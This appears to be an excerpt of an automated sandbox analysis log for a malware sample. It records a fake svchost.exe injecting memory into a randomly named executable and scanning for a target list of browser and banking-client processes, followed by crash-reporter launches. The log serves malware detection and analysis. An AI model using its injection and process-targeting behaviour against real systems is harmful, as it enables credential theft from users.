Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 7C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 814000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B84000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12A0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12A1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12A2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12F4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 6D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 6D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 6D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 724000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C04000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2330000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2331000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2332000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2384000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B80000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B81000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B82000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BD4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2890000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2891000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2892000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28E4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2930000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2931000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2932000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2984000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DB0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DB1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DB2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E04000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 740000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 741000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 742000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 794000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3060000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3061000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3062000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 30B4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DF4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B60000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B61000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2B62000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BB4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3030000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3031000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3032000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3084000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 20C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 20C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 20C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2114000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2D20000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2D21000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2D22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2D74000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: EA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: EA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: EA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: EF4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C90000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C91000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2CE4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27D0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27D1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27D2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2824000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2954000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E84000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F50000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F51000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2F52000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2FA4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BD0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BD1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BD2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C24000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3240000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3241000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3242000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3294000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3240000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3241000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3242000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Windows\apppatch\svchost.exe base: 3294000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D17300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex4_2_012F7300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E47300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E87300
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 984Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4672 -ip 4672Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4672 -s 708Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6980 -ip 6980Jump to behavior
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 976Jump to behavior
